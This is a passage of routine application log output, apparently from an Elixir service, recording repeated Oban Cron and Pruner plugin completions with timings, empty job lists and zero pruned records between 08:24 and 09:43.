{"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:27.138 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:57.140 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.640 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:27.142 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:57.144 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.641 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:27.146 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:57.148 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.642 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:27.151 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:57.153 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.643 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:27.155 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:57.157 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.644 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:27.159 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:57.161 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.645 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:27.163 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:57.165 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.646 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:27.167 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:57.169 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.647 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:27.171 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:57.173 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.648 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:27.175 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:57.177 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.649 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:27.179 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:57.181 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.650 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:27.183 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:57.185 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.651 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:27.187 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:57.189 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.652 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:27.191 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:57.193 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.653 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:27.195 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:57.197 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.654 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:27.199 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:57.201 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.655 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:27.203 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:57.205 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.656 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:27.207 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:57.209 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.657 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:27.211 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:57.213 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.659 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:27.215 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:57.217 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.660 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:27.219 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:57.221 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.661 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:27.223 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:57.225 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.662 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:27.227 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:57.229 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.663 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:27.231 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:57.233 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.664 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:27.235 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:57.237 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.665 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:27.239 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:57.241 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.666 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:27.243 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:57.245 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.667 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:27.247 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:57.249 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.668 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:27.251 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:57.253 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.669 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:27.255 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:57.257 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.670 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:27.259 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:57.261 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.671 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:27.263 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:57.265 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.672 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:27.267 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:57.270 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.673 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:27.272 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:57.274 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.674 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:27.276 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:57.278 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.675 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:27.280 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:57.283 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.676 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:27.285 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:57.287 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.677 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:27.289 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:57.291 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.679 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:27.293 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:57.295 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.680 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:27.296 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:57.299 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.681 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:27.301 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:57.303 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.682 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:27.305 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:57.307 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.683 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:27.309 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:57.311 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.684 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:27.313 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:57.316 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.685 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:27.318 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:57.320 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.686 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:27.322 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:57.324 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.687 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:27.326 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:57.328 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.688 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:27.330 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:57.332 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.689 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:27.334 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:57.336 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.690 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:27.338 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:57.340 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.691 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:27.342 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:57.344 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.692 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:27.346 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:57.348 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.693 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:27.350 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:57.352 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.694 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:27.354 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:57.356 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.695 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:27.358 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:57.360 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.696 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:27.362 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:57.364 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.697 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:27.366 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:57.368 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.698 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:27.370 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:57.372 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.699 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:27.374 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:57.376 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.700 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:27.378 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:57.380 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.701 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:27.382 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:57.384 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.702 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:27.386 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:57.388 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.703 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:27.390 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:57.392 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.704 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:27.394 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:57.396 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.705 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:27.398 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:57.401 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.706 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:27.403 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:57.405 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.707 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:27.407 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:57.409 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.708 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:27.411 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:57.413 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.709 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:27.415 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:57.417 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.710 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:27.419 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:57.421 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.711 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:27.423 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:57.425 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.712 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:27.427 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:57.429 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.713 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:27.431 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:57.433 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.714 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:27.435 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:57.437 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.715 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:27.439 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:57.441 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.716 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:27.443 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:57.445 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.717 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:27.447 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:57.450 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.718 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:27.453 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:57.455 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.720 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:27.457 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:57.459 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.721 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:27.461 [info] 